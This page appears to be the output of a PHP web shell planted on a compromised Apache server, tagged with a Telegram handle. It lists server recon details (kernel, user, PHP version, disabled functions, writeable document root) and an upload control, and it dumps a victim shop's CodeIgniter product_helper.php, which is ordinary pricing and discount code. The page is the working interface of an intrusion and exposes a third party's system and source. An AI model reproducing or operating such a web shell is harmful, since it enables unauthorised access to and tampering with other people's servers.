https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/mesinpolesshinemate.com/application/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mesinpolesshinemate.com/application/helpers/product_helper.php
<?php
function check_current_stock($id_product) {

    $ci = & get_instance();  
    
    $ci->db->select('id_product_details')->from('product_details')->where('product_id', $id_product)->where('stock !=', 0);
    $count_current_stock = $ci->db->get()->num_rows();

    return $count_current_stock;
} 

function category_discount($id_product) {

    $ci = & get_instance();
    
    //check this product belong to which categories
    $ci->db->select('id_category')->from('category_product')->where('id_product', $id_product);
    $categories =  $ci->db->get()->result_array();
    $product_existing_categories = array();
    
    foreach($categories as $key => $category) {
        $product_existing_categories[] = $category['id_category'];
    }

    $level1_category = NULL;
    $level2_category = NULL;
    $level3_category = NULL;

    foreach($product_existing_categories as $category_id) {

        //check if this category_id has parent
        $ci->db->select('parent')->from('categories')->where('id_categories', $category_id);
        $parent_category_id = $ci->db->get()->row()->parent;
        
        if($parent_category_id != NULL) {
            
            //this category still have parent
            //check if the parent category still have parent
            $ci->db->select('parent')->from('categories')->where('id_categories', $parent_category_id);
            $parent2_category_id = $ci->db->get()->row()->parent;
            
            if($parent2_category_id != NULL) {
                //this is level 3 category
                $level3_category =  $category_id;
            } else {
                //this is level 2 category
                $level2_category =  $category_id;
            }

        } else {

            //this category is parent (level 1)
            $level1_category = $category_id;
        }
    }

    if($level3_category != NULL) {
        
        //check if this category has category discount
        $ci->db->select('discount_active, percentage_discount')->from('categories')->where('id_categories', $level3_category);
        $category_discount = $this->db->get()->row();
        if($category_discount->discount_active == 'yes') {
            $category_discount_percentage = $category_discount->percentage_discount;
        } else {
            $category_discount_percentage = NULL;
        }

    } else {
        //$level3_category ==  NULL
        if($level2_category != NULL) {
            //check if this category has category discount
            $ci->db->select('discount_active, percentage_discount')->from('categories')->where('id_categories', $level2_category);
            $category_discount = $ci->db->get()->row();
            if($category_discount->discount_active == 'yes') {
                $category_discount_percentage = $category_discount->percentage_discount;
            } else {
                $category_discount_percentage = NULL;
            }

        } else {
            //$level2_category ==  NULL
            if($level1_category != NULL) {
                //check if this category has category discount
                $ci->db->select('discount_active, percentage_discount')->from('categories')->where('id_categories', $level1_category);
                $category_discount = $ci->db->get()->row();
                if($category_discount->discount_active == 'yes') {
                    $category_discount_percentage = $category_discount->percentage_discount;
                } else {
                    $category_discount_percentage = NULL;
                }	
            }	
        }		
    }

    return $category_discount_percentage;
}

function get_product_price($id_product) {

    $ci = & get_instance();

    $product_price_array = array();

    if(isset($ci->session->userdata('customer')['customer_id'])) {
    
        //get product detail id (for 1st detail only)
        $ci->db->select('id_product_details')->from('product_details')->where('product_id', $id_product)->limit(1);
        $id_product_detail = $ci->db->get()->row()->id_product_details;

        //check if customer is a reseller. if reseller use reseller price
        $ci->db->select('reseller_id')->from('customers')->where('id_customers', $ci->session->userdata('customer')['customer_id']);
        $reseller_id = $ci->db->get()->row()->reseller_id;

        //check if reseller price already available (already input by admin)
        $ci->db->select('price')->from('resellers_price')->where('reseller_id', $reseller_id)->where('product_detail_id', $id_product_detail);
        $count_reseller = $ci->db->get()->num_rows();
    
        if($reseller_id != NULL && $count_reseller > 0) {
        
            //customer is reseller. use reseller price
            $ci->db->select('price')->from('resellers_price')->where('reseller_id', $reseller_id)->where('product_detail_id', $id_product_detail);
            $product_price = $ci->db->get()->row();

            $product_price_array['reseller_id'] = $reseller_id;
            $product_price_array['count_reseller'] = $count_reseller;
       
        } else {    
      
            //get product price and discount price (retail prices)
            $ci->db->select('price, discounted_price')->from('product_details')->where('product_id', $id_product)->limit(1);
            $product_price_array['reseller_id'] = NULL;
            $product_price_array['count_reseller'] = 0;
            $product_price = $ci->db->get()->row();
        }	

        $product_price_array['product_price'] = $product_price;

    } else {
    
        //get product price and discount price (retail prices)
        $ci->db->select('price, discounted_price')->from('product_details')->where('product_id', $id_product)->limit(1);
        $product_price = $ci->db->get()->row(); 
        $product_price_array['product_price'] = $product_price;
        $product_price_array['reseller_id'] = NULL;
        $product_price_array['count_reseller'] = 0;
    }

    return $product_price_array;
}


https://t.me/RX1948 - 2025